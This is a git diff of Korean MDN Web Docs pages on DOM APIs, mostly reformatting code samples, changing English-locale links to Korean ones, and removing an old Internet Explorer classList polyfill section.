 스크립트를 작성할 때(인라인 `<script>` 요소를 사용하거나 웹 페이지 안에 있는 스크립트 로딩 명령을 사용하여), 문서 자체를 조작하거나 문서의 children 을 얻기 위해 {{domxref("document")}} 또는 [`window`](/ko/docs/DOM/window) elements 를 위한 API 를 즉시 사용할 수 있다. DOM 프로그래밍은 아래처럼 [`window`](/ko/docs/DOM/window) object 로 부터 [`alert()`](/ko/docs/DOM/window.alert) 함수를 사용하여 alert message 를 표시하는 매우 간단한 것일 수도 있고 다음번 예제처럼 새로운 content 를 작성하는 복잡한 DOM 이 될 수도 있다.
 
 ```html
-<body onload="window.alert('welcome to my home page!');">
+<body onload="window.alert('welcome to my home page!');"></body>
 ```
 
 아래의 자바스크립트는 문서가 로드될 때(모든 DOM을 사용할 수 있게 되는 때임) 실행되는 함수를 정의하였다. 이 함수는 새로운 H1 element 를 생성하고, element 에 text 를 추가하며, H1 을 이 문서의 트리에 추가한다.
@@ -60,19 +61,17 @@ DOM 을 사용하기 위해 특별히 해야할 일은 없다. 각각의 브라
 <html>
   <head>
     <script>
-       // run this function when the document is loaded
-       window.onload = function() {
-
-         // create a couple of elements in an otherwise empty HTML page
-         var heading = document.createElement("h1");
-         var heading_text = document.createTextNode("Big Head!");
-         heading.appendChild(heading_text);
-         document.body.appendChild(heading);
-      }
+      // run this function when the document is loaded
+      window.onload = function () {
+        // create a couple of elements in an otherwise empty HTML page
+        var heading = document.createElement("h1");
+        var heading_text = document.createTextNode("Big Head!");
+        heading.appendChild(heading_text);
+        document.body.appendChild(heading);
+      };
     </script>
   </head>
-  <body>
-  </body>
+  <body></body>
 </html>
 ```
 
@@ -181,8 +180,7 @@ var table = document.getElementById("table");
 var tableAttrs = table.attributes; // Node/Element interface
 for (var i = 0; i < tableAttrs.length; i++) {
   // HTMLTableElement interface: border attribute
-  if(tableAttrs[i].nodeName.toLowerCase() == "border")
-    table.border = "1";
+  if (tableAttrs[i].nodeName.toLowerCase() == "border") table.border = "1";
 }
 // HTMLTableElement interface: summary attribute
 table.summary = "note: increased border";
@@ -223,35 +221,47 @@ table.summary = "note: increased border";
   <head>
     <title>DOM Tests</title>
     <script type="application/javascript">
-    function setBodyAttr(attr,value){
-      if (document.body) eval('document.body.'+attr+'="'+value+'"');
-      else notSupported();
-    }
+      function setBodyAttr(attr, value) {
+        if (document.body) eval("document.body." + attr + '="' + value + '"');
+        else notSupported();
+      }
     </script>
   </head>
   <body>
     <div style="margin: .5in; height: 400;">
-      <p><b><tt>text</tt>color</b></p>
+      <p>
+        <b><tt>text</tt>color</b>
+      </p>
       <form>
-        <select onChange="setBodyAttr('text',
+        <select
+          onChange="setBodyAttr('text',
         this.options[this.selectedIndex].value);">
-          <option value="black">black
-          <option value="darkblue">darkblue
+          <option value="black">black</option>
+          <option value="darkblue">darkblue</option>
         </select>
-        <p><b><tt>bgColor</tt></b></p>
-        <select onChange="setBodyAttr('bgColor',
+        <p>
+          <b><tt>bgColor</tt></b>
+        </p>
+        <select
+          onChange="setBodyAttr('bgColor',
         this.options[this.selectedIndex].value);">
-          <option value="white">white
-          <option value="lightgrey">gray
+          <option value="white">white</option>
+          <option value="lightgrey">gray</option>
         </select>
-        <p><b><tt>link</tt></b></p>
-        <select onChange="setBodyAttr('link',
+        <p>
+          <b><tt>link</tt></b>
+        </p>
+        <select
+          onChange="setBodyAttr('link',
         this.options[this.selectedIndex].value);">
-          <option value="blue">blue
-          <option value="green">green
-        </select>  <small>
-        <a href="http://www.brownhen.com/dom_api_top.html" id="sample">
-        (sample link)</a></small><br>
+          <option value="blue">blue</option>
+          <option value="green">green</option>
+        </select>
+        <small>
+          <a href="http://www.brownhen.com/dom_api_top.html" id="sample">
+            (sample link)</a
+          ></small
+        ><br />
       </form>
       <form>
         <input type="button" value="version" onclick="ver()" />
diff --git a/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.md b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.md
index 28664914818775..312cf4f620a2cd 100644
--- a/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.md
+++ b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.md
@@ -16,7 +16,7 @@ slug: Web/API/Document_object_model/Locating_DOM_elements_using_selectors
 - `querySelectorAll`
   - : 노드의 하위 트리 안에서 일치하는 모든 `Element`를 포함한 {{domxref("NodeList")}}를 반환합니다. 결과가 없으면 빈 `NodeList`를 반환합니다.
 
-> **참고:** The [`NodeList`](/en-US/docs/DOM/NodeList) returned by [`querySelectorAll()`](/en-US/docs/DOM/Element.querySelectorAll) is not live, which means that changes in the DOM are not reflected in the collection. This is different from other DOM querying methods that return live node lists.
+> **참고:** The [`NodeList`](/ko/docs/DOM/NodeList) returned by [`querySelectorAll()`](/ko/docs/DOM/Element.querySelectorAll) is not live, which means that changes in the DOM are not reflected in the collection. This is different from other DOM querying methods that return live node lists.
 
 You may find examples and details by reading the documentation for the [`querySelector()`](/ko/docs/DOM/Element.querySelector) and [`querySelectorAll()`](/ko/docs/DOM/Element.querySelectorAll) methods, as well as in the article [Code snippets for querySelector](/ko/docs/Code_snippets/QuerySelector).
 
@@ -25,13 +25,13 @@ You may find examples and details by reading the documentation for the [`querySe
 The selector methods accept one or more comma-separated selectors to determine what element or elements should be returned. For example, to select all paragraph (`p`) elements in a document whose CSS class is either `warning` or `note`, you can do the following:
 
 ```js
-var special = document.querySelectorAll( "p.warning, p.note" );
+var special = document.querySelectorAll("p.warning, p.note");
 ```
 
 You can also query by ID. For example:
 
 ```js
-var el = document.querySelector( "#main, #basic, #exclamation" );
+var el = document.querySelector("#main, #basic, #exclamation");
 ```
 
 After executing the above code, `el` contains the first element in the document whose ID is one of `main`, `basic`, or `exclamation`.
diff --git a/files/ko/web/api/document_object_model/using_the_document_object_model/index.md b/files/ko/web/api/document_object_model/using_the_document_object_model/index.md
index 4579279d4d848e..96afec27909ae6 100644
--- a/files/ko/web/api/document_object_model/using_the_document_object_model/index.md
+++ b/files/ko/web/api/document_object_model/using_the_document_object_model/index.md
@@ -14,13 +14,13 @@ The W3C's DOM Level 1 Core 는 documents의 콘텐츠 트리를 변경하기 위
 
 ```html
 <html>
-<head>
-  <title>My Document</title>
-</head>
-<body>
-  <h1>Header</h1>
-  <p>Paragraph</p>
-</body>
+  <head>
+    <title>My Document</title>
+  </head>
+  <body>
+    <h1>Header</h1>
+    <p>Paragraph</p>
+  </body>
 </html>
 ```
 
@@ -42,37 +42,37 @@ The W3C DOM Level 1은 컨텐츠 트리를 웹 페이지 **개발자가 원하
 
 ```html
 <body>
-<input type="button" value="Change this document." onclick="change()">
-<h2>Header</h2>
-<p>Paragraph</p>
+  <input type="button" value="Change this document." onclick="change()" />
+  <h2>Header</h2>
+  <p>Paragraph</p>
 </body>
 ```
 
 ### JavaScript Content
 
 ```js
-  function change() {
-    // document.getElementsByTagName("H2") 는 <h2> 엘리먼트의
-    // NodeList를 반환(return)합니다. 0부터 시작합니다.
-
-    var header = document.getElementsByTagName("H2").item(0);
-    // 헤더의 첫번째 자식 노드는 Text 노드입니다.
-    header.firstChild.data = "A dynamic document";
-    // 이제 헤더는 "A dynamic document"가 되었습니다.
-
-    var para = document.getElementsByTagName("P").item(0);
-    para.firstChild.data = "This is the first paragraph.";
-
-    // 두번째 문단을 만들기 위한 새로운 Text 노드를 만들었습니다.
-    var newText = document.createTextNode("This is the second paragraph.");
-    // 두번째 문단을 만들기 위한 새로운 p 엘리먼트를 만들었습니다.
-    var newElement = document.createElement("P");
-    // 새로운 p 엘리먼트에 텍스트를 넣어 문단을 만듭니다.
-    newElement.appendChild(newText);
-    // 생성한 문단을 HTML 문서 마지막에 넣기 위해
-    // (para의 부모인) HTML BODY에 append합니다.
-    para.parentNode.appendChild(newElement);
-  }
+function change() {
+  // document.getElementsByTagName("H2") 는 <h2> 엘리먼트의
+  // NodeList를 반환(return)합니다. 0부터 시작합니다.
+
+  var header = document.getElementsByTagName("H2").item(0);
+  // 헤더의 첫번째 자식 노드는 Text 노드입니다.
+  header.firstChild.data = "A dynamic document";
+  // 이제 헤더는 "A dynamic document"가 되었습니다.
+
+  var para = document.getElementsByTagName("P").item(0);
+  para.firstChild.data = "This is the first paragraph.";
+
+  // 두번째 문단을 만들기 위한 새로운 Text 노드를 만들었습니다.
+  var newText = document.createTextNode("This is the second paragraph.");
+  // 두번째 문단을 만들기 위한 새로운 p 엘리먼트를 만들었습니다.
+  var newElement = document.createElement("P");
+  // 새로운 p 엘리먼트에 텍스트를 넣어 문단을 만듭니다.
+  newElement.appendChild(newText);
+  // 생성한 문단을 HTML 문서 마지막에 넣기 위해
+  // (para의 부모인) HTML BODY에 append합니다.
+  para.parentNode.appendChild(newElement);
+}
 ```
 
 {{ EmbedLiveSample('A_simple_example', 800, 300) }}
diff --git a/files/ko/web/api/documentfragment/index.md b/files/ko/web/api/documentfragment/index.md
index c1dc69e2744fc5..b7bf5bd0e3ea6d 100644
--- a/files/ko/web/api/documentfragment/index.md
+++ b/files/ko/web/api/documentfragment/index.md
@@ -2,6 +2,7 @@
 title: DocumentFragment
 slug: Web/API/DocumentFragment
 ---
+
 {{ APIRef("DOM") }}
 
 **`DocumentFragment`** 인터페이스는 아주 작고 부모를 갖지 않는 문서 객체를 나타냅니다.
@@ -64,18 +65,18 @@ slug: Web/API/DocumentFragment
 ### JavaScript
 
 ```js
-const list = document.querySelector('#list')
-const fruits = ['Apple', 'Orange', 'Banana', 'Melon']
+const list = document.querySelector("#list");
+const fruits = ["Apple", "Orange", "Banana", "Melon"];
 
-const fragment = new DocumentFragment()
+const fragment = new DocumentFragment();
 
 fruits.forEach((fruit) => {
-  const li = document.createElement('li')
-  li.textContent = fruit
-  fragment.appendChild(li)
-})
+  const li = document.createElement("li");
+  li.textContent = fruit;
+  fragment.appendChild(li);
+});
 
-list.appendChild(fragment)
+list.appendChild(fragment);
 ```
 
 ### 결과
diff --git a/files/ko/web/api/domparser/index.md b/files/ko/web/api/domparser/index.md
index e7996890076147..8931949f522da2 100644
--- a/files/ko/web/api/domparser/index.md
+++ b/files/ko/web/api/domparser/index.md
@@ -16,7 +16,7 @@ HTML 문서의 경우, {{domxref("Element.innerHTML")}} 속성과 {{domxref("Ele
 ## 문법
 
 ```js
-let domparser = new DOMParser()
+let domparser = new DOMParser();
 ```
 
 ## 메소드
@@ -26,7 +26,7 @@ let domparser = new DOMParser()
 #### 문법
 
 ```js
-let doc = domparser.parseFromString(string, mimeType)
+let doc = domparser.parseFromString(string, mimeType);
 ```
 
 #### 반환
@@ -40,13 +40,13 @@ let doc = domparser.parseFromString(string, mimeType)
 - `string`
   - : 해석할 {{domxref("DOMString")}} 문자열. 반드시 {{Glossary("HTML")}}, {{Glossary("xml")}}, {{Glossary("xhtml+xml")}} 또는 {{Glossary("svg")}} 문서 형식에 맞아야 한다.
 - `mimeType`
-  - | : 아래 표에 정의한 형식을 반환 값으로 제공할 {{domxref("DOMString")}} 문자열. | `mimeType`                             | `doc.constructor` |
-    | ------------------------------------------------------------------------------------- | -------------------------------------- | ----------------- |
-    | `text/html`                                                                           | `{{domxref("Document")}}`     |
-    | `text/xml`                                                                            | `{{domxref("XMLDocument")}}` |
-    | `application/xml`                                                                     | `{{domxref("XMLDocument")}}` |
-    | `application/xhtml+xml`                                                               | `{{domxref("XMLDocument")}}` |
-    | `image/svg+xml`                                                                       | `{{domxref("XMLDocument")}}` |
+  - | : 아래 표에 정의한 형식을 반환 값으로 제공할 {{domxref("DOMString")}} 문자열. | `mimeType`                   | `doc.constructor` |
+    | ----------------------------------------------------------------------------- | ---------------------------- | ----------------- |
+    | `text/html`                                                                   | `{{domxref("Document")}}`    |
+    | `text/xml`                                                                    | `{{domxref("XMLDocument")}}` |
+    | `application/xml`                                                             | `{{domxref("XMLDocument")}}` |
+    | `application/xhtml+xml`                                                       | `{{domxref("XMLDocument")}}` |
+    | `image/svg+xml`                                                               | `{{domxref("XMLDocument")}}` |
 
 ## 예제
 
diff --git a/files/ko/web/api/domrect/fromrect_static/index.md b/files/ko/web/api/domrect/fromrect_static/index.md
index 4cfe4194840c1b..a4785d3e07d1f3 100644
--- a/files/ko/web/api/domrect/fromrect_static/index.md
+++ b/files/ko/web/api/domrect/fromrect_static/index.md
@@ -11,7 +11,7 @@ original_slug: Web/API/DOMRect/fromRect
 ## 구문
 
 ```js
-DOMRect.fromRect(rectangle)
+DOMRect.fromRect(rectangle);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/domtokenlist/contains/index.md b/files/ko/web/api/domtokenlist/contains/index.md
index 560c87ec51fd9f..fadb0e7f9a4358 100644
--- a/files/ko/web/api/domtokenlist/contains/index.md
+++ b/files/ko/web/api/domtokenlist/contains/index.md
@@ -38,10 +38,10 @@ Now the JavaScript:
 var span = document.querySelector("span");
 var classes = span.classList;
 var result = classes.contains("c");
-if(result) {
+if (result) {
   span.textContent = "The classList contains 'c'";
 } else {
-   span.textContent = "The classList does not contain 'c'";
+  span.textContent = "The classList does not contain 'c'";
 }
 ```
 
diff --git a/files/ko/web/api/element/attributes/index.md b/files/ko/web/api/element/attributes/index.md
index 190ff54271b891..559f1ef0e0abf8 100644
--- a/files/ko/web/api/element/attributes/index.md
+++ b/files/ko/web/api/element/attributes/index.md
@@ -32,43 +32,43 @@ var atts = para.attributes;
 여러분은 문서에서 "p1" 요소의 모든 속성값을 찍는 다음 예에서처럼 요소의 속성을 열거(enumerate)할 때 오직 찾아보기로 접근(access by index)을 써야 합니다.
 
 ```html
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
 
 <html>
-
   <head>
-  <title>Attributes example</title>
-  <script type="text/javascript">
-    function showFirstAttr()
-    {
-    var firstPara = document.getElementById("p1");
-    var outputText = document.getElementById("result");
-
-    // 먼저, paragraph에 어떤 속성이 있는지 검증
-    if (firstPara.hasAttributes())
-    {
-      var attrs = firstPara.attributes;
-      var text = "";
-      for(var i=attrs.length-1; i>=0; i--) {
-        text += attrs[i].name + "->" + attrs[i].value;
+    <title>Attributes example</title>
+    <script type="text/javascript">
+      function showFirstAttr() {
+        var firstPara = document.getElementById("p1");
+        var outputText = document.getElementById("result");
+
+        // 먼저, paragraph에 어떤 속성이 있는지 검증
+        if (firstPara.hasAttributes()) {
+          var attrs = firstPara.attributes;
+          var text = "";
+          for (var i = attrs.length - 1; i >= 0; i--) {
+            text += attrs[i].name + "->" + attrs[i].value;
+          }
+          outputText.value = text;
+        } else {
+          outputText.value = "No attributes to show";
+        }
       }
-      outputText.value = text;
-    } else {
-      outputText.value = "No attributes to show"
-    };
-    }
-  </script>
+    </script>
   </head>
 
-<body>
-  <p id="p1" style="color: green;">Sample Paragraph</p>
-  <form action="">
-  <p><input type="button" value="Show first attribute name and value"
-      onclick="showFirstAttr();">
-  <input id="result" type="text" value=""></p>
-  </form>
-</body>
+  <body>
+    <p id="p1" style="color: green;">Sample Paragraph</p>
+    <form action="">
+      <p>
+        <input
+          type="button"
+          value="Show first attribute name and value"
+          onclick="showFirstAttr();" />
+        <input id="result" type="text" value="" />
+      </p>
+    </form>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/element/blur_event/index.md b/files/ko/web/api/element/blur_event/index.md
index c6d669bb9ff11f..a3ebe8a5d948be 100644
--- a/files/ko/web/api/element/blur_event/index.md
+++ b/files/ko/web/api/element/blur_event/index.md
@@ -4,7 +4,7 @@ slug: Web/API/Element/blur_event
 original_slug: Web/Events/blur
 ---
 
-`blur` 이벤트는 엘리먼트의 포커스가 해제되었을때 발생합니다. 이 이벤트와 [`focusout`](/en-US/docs/Mozilla_event_reference/focusout) 이벤트의 가장 다른점은 [`focusout`](/en-US/docs/Mozilla_event_reference/focusout) 은 이벤트 버블링이 발생합니다.
+`blur` 이벤트는 엘리먼트의 포커스가 해제되었을때 발생합니다. 이 이벤트와 [`focusout`](/ko/docs/Mozilla_event_reference/focusout) 이벤트의 가장 다른점은 [`focusout`](/ko/docs/Mozilla_event_reference/focusout) 은 이벤트 버블링이 발생합니다.
 
 ## General info
 
@@ -25,24 +25,24 @@ original_slug: Web/Events/blur
 
 ## Properties
 
-| Property                                 | Type                                               | Description                                |
-| ---------------------------------------- | -------------------------------------------------- | ------------------------------------------ |
+| Property                           | Type                                     | Description                                |
+| ---------------------------------- | ---------------------------------------- | ------------------------------------------ |
 | `target` {{readonlyInline}}        | {{domxref("EventTarget")}}               | Event target (DOM element)                 |
-| `type` {{readonlyInline}}          | {{domxref("DOMString")}}                   | The type of event.                         |
-| `bubbles` {{readonlyInline}}       | {{jsxref("Boolean")}}                       | Whether the event normally bubbles or not. |
-| `cancelable` {{readonlyInline}}    | {{jsxref("Boolean")}}                       | Whether the event is cancellable or not.   |
+| `type` {{readonlyInline}}          | {{domxref("DOMString")}}                 | The type of event.                         |
+| `bubbles` {{readonlyInline}}       | {{jsxref("Boolean")}}                    | Whether the event normally bubbles or not. |
+| `cancelable` {{readonlyInline}}    | {{jsxref("Boolean")}}                    | Whether the event is cancellable or not.   |
 | `relatedTarget` {{readonlyInline}} | {{domxref("EventTarget")}} (DOM element) | null                                       |
 
 ## 이벤트 위임
 
-이 이벤트에 이벤트 위임을 적용하는 방법은 두가지가 있습니다 : 브라우저가 지원한다면 `focusout` 이벤트를 사용하거나, [`addEventListener`](/en-US/docs/DOM/element.addEventListener)의 "useCapture" 파라미터를 `true`로 설정하세요:
+이 이벤트에 이벤트 위임을 적용하는 방법은 두가지가 있습니다 : 브라우저가 지원한다면 `focusout` 이벤트를 사용하거나, [`addEventListener`](/ko/docs/DOM/element.addEventListener)의 "useCapture" 파라미터를 `true`로 설정하세요:
 
 ### HTML Content
 
 ```html
 <form id="form">
-  <input type="text" placeholder="text input">
-  <input type="password" placeholder="password">
+  <input type="text" placeholder="text input" />
+  <input type="password" placeholder="password" />
 </form>
 ```
 
@@ -50,12 +50,20 @@ original_slug: Web/Events/blur
 
 ```js
 var form = document.getElementById("form");
-form.addEventListener("focus", function( event ) {
-  event.target.style.background = "pink";
-}, true);
-form.addEventListener("blur", function( event ) {
-  event.target.style.background = "";
-}, true);
+form.addEventListener(
+  "focus",
+  function (event) {
+    event.target.style.background = "pink";
+  },
+  true,
+);
+form.addEventListener(
+  "blur",
+  function (event) {
+    event.target.style.background = "";
+  },
+  true,
+);
 ```
 
 #### 결과
diff --git a/files/ko/web/api/element/childelementcount/index.md b/files/ko/web/api/element/childelementcount/index.md
index 99dad668dc8fc0..539719252d5028 100644
--- a/files/ko/web/api/element/childelementcount/index.md
+++ b/files/ko/web/api/element/childelementcount/index.md
@@ -24,7 +24,7 @@ var count = node.childElementCount;
 ## 예제
 
 ```js
-var foo = document.getElementById('foo');
+var foo = document.getElementById("foo");
 if (foo.childElementCount > 0) {
   // Do something
 }
@@ -35,18 +35,23 @@ if (foo.childElementCount > 0) {
 이 속성은 IE9 이전 버전에서는 지원하지 않습니다. IE9과 Safari는 `Document`와 `DocumentFragment` 객체에서 이 속성을 지원하지 않습니다.
 
 ```js
-;(function(constructor) {
-  if (constructor &&
-      constructor.prototype &&
-      constructor.prototype.childElementCount == null) {
-    Object.defineProperty(constructor.prototype, 'childElementCount', {
-      get: function() {
-        var i = 0, count = 0, node, nodes = this.childNodes;
-        while (node = nodes[i++]) {
+(function (constructor) {
+  if (
+    constructor &&
+    constructor.prototype &&
+    constructor.prototype.childElementCount == null
+  ) {
+    Object.defineProperty(constructor.prototype, "childElementCount", {
+      get: function () {
+        var i = 0,
+          count = 0,
+          node,
+          nodes = this.childNodes;
+        while ((node = nodes[i++])) {
           if (node.nodeType === 1) count++;
         }
         return count;
-      }
+      },
     });
   }
 })(window.Node || window.Element);
diff --git a/files/ko/web/api/element/classlist/index.md b/files/ko/web/api/element/classlist/index.md
index 176aef9b3c4165..a0a588867f9889 100644
--- a/files/ko/web/api/element/classlist/index.md
+++ b/files/ko/web/api/element/classlist/index.md
@@ -24,8 +24,8 @@ const elementClasses = elementNodeReference.classList;
 ## 예제
 
 ```js
-const div = document.createElement('div');
-div.className = 'foo';
+const div = document.createElement("div");
+div.className = "foo";
 
 // our starting state: <div class="foo"></div>
 console.log(div.outerHTML);
@@ -41,7 +41,7 @@ console.log(div.outerHTML);
 div.classList.toggle("visible");
 
 // add/remove visible, depending on test conditional, i less than 10
-div.classList.toggle("visible", i < 10 );
+div.classList.toggle("visible", i < 10);
 
 console.log(div.classList.contains("foo"));
 
@@ -60,169 +60,6 @@ div.classList.replace("foo", "bar");
 
 > **참고:** 파이어폭스 26 이전의 버전에서는 add/remove/toggle 메서드에서 여러 인수의 사용을 구현하지 않았다. <https://bugzilla.mozilla.org/show_bug.cgi?id=814014> 링크를 참조하라.
 
-## 폴리필
-
-The legacy [`onpropertychange`](<https://msdn.microsoft.com/en-us/windows/ms536956(v=vs.71)>) event can be used to create a living `classList` mockup thanks to a `Element.prototype.className` property that fires the specified event once it is changed.
-
-The following polyfill for both `classList` and `DOMTokenList` ensures **full** compliance (coverage) for all standard methods and properties of `Element.prototype.classList` for **IE10**-**IE11** browsers plus _nearly_ compliant behavior for **IE 6-9**. Check it out:
-
-```js
-// 1. String.prototype.trim polyfill
-if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
-(function(window){"use strict"; // prevent global namespace pollution
-if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
-var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
-    if (V === "") throw new DOMException(
-    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
-    if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
-    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
-}
-// 2. Implement the barebones DOMTokenList livelyness polyfill
-if (typeof DOMTokenList !== "function") (function(window){
-    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
-    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
-    function DOMTokenList(){
-        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
-    }
-    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
-    DOMTokenList.prototype.add = function(){
-        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
-            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
-            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
-                if (this[i] === val) continue a; else resStr += " " + this[i];
-            this[Len] = val, proto.length += 1, proto.value = resStr;
-        }
-        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
-    };
-    DOMTokenList.prototype.remove = function(){
-        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
-            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
-            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
-                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
-            if (!is) continue;
-            delete this[Len], proto.length -= 1, proto.value = resStr;
-        }
-        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
-    };
-    window.DOMTokenList = DOMTokenList;
-    function whenPropChanges(){
-        var evt = window.event, prop = evt.propertyName;
-        if ( !skipPropChange && (prop==="className" || (prop==="classList" && !defineProperty)) ) {
-            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
-            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
-            var oldLen = protoObjProto.length;
-            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
-                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
-                resTokenList[cI-sub] = tokens[cI];
-            }
-            for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
-            if(prop !== "classList") return;
-            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
-            skipPropChange = 0, resTokenList.length = tokens.length - sub;
-        }
-    }
-    function polyfillClassList(ele){
-        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
-        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
-        allowTokenListConstruction = 1;
-        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
-        finally { allowTokenListConstruction = 0 }
-        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
-        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
-            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
-            this[cI-sub] = toks[cI];
-        }
-        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
-        if (defineProperty) { defineProperty(ele, "classList", { // IE8 & IE9 allow defineProperty on the DOM
-            enumerable:   1, get: function(){return resTokenList},
-            configurable: 0, set: function(newVal){
-                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
-                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
-                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
-                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
-                    resTokenList[cI-sub] = toks[cI];
-                }
-                for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
-            }
-        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
-            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
-        }); defineProperty(protoObjProto, " uCL", {
-            enumerable: 0, configurable: 0, writeable: 0, value: ele
-        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
-        ele.attachEvent( "onpropertychange", whenPropChanges );
-    }
-    try { // Much faster & cleaner version for IE8 & IE9:
-        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
-        window.Object.defineProperty(window.Element.prototype, "classList", {
-            enumerable: 1,   get: function(val){
-                                    if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
-                                    return this.classList;
-                                },
-            configurable: 0, set: function(val){this.className = val}
-        });
-    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
-        window[" uCL"] = polyfillClassList;
-        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
-        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
-            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' + //  IE6
-            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' //IE7-8
-        );
-    }
-})(window);
-// 3. Patch in unsupported methods in DOMTokenList
-(function(DOMTokenListProto, testClass){
-    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
-        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
-    };
-    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
-        if (arguments.length > 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
-        var oldValue = this.value;
-        return (this.remove(oldValue), oldValue === this.value && (this.add(val), true) /*|| false*/);
-    };
-    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
-        DOMTokenListProto.replace = function(oldToken, newToken){
-            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
-            var oldValue = this.value;
-            return (this.remove(oldToken), this.value !== oldValue && (this.add(newToken), true));
-        };
-    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
-        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
-        return false;
-    };
-    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
-        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
-        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
-    };
-    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
-        var nextIndex = 0, that = this;
-        return {next: function() {
-            return nextIndex<that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
-        }};
-    };
-    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
-        var nextIndex = 0, that = this;
-        return {next: function() {
-            return nextIndex<that.length ? {value: that[nextIndex], done: false} : {done: true};
-        }};
-    };
-    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
-        var nextIndex = 0, that = this;
-        return {next: function() {
-            return nextIndex<that.length ? {value: nextIndex, done: false} : {done: true};
-        }};
-    };
-})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
-})(window);
-```
-
-### Caveats
-
-The polyfill is limited in functionality. It's currently unable to polyfill out-of-document-elements (e.g. elements created by `document.createElement` before they are appended to a parent node) in IE6-7.
-
-However, it should work just fine in IE9. A major discrepancy between the polyfilled version of `classList` and the W3 specs is that for IE6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified). In IE9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. However, such actions would not work in IE6-IE8 and, in IE9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill.
-
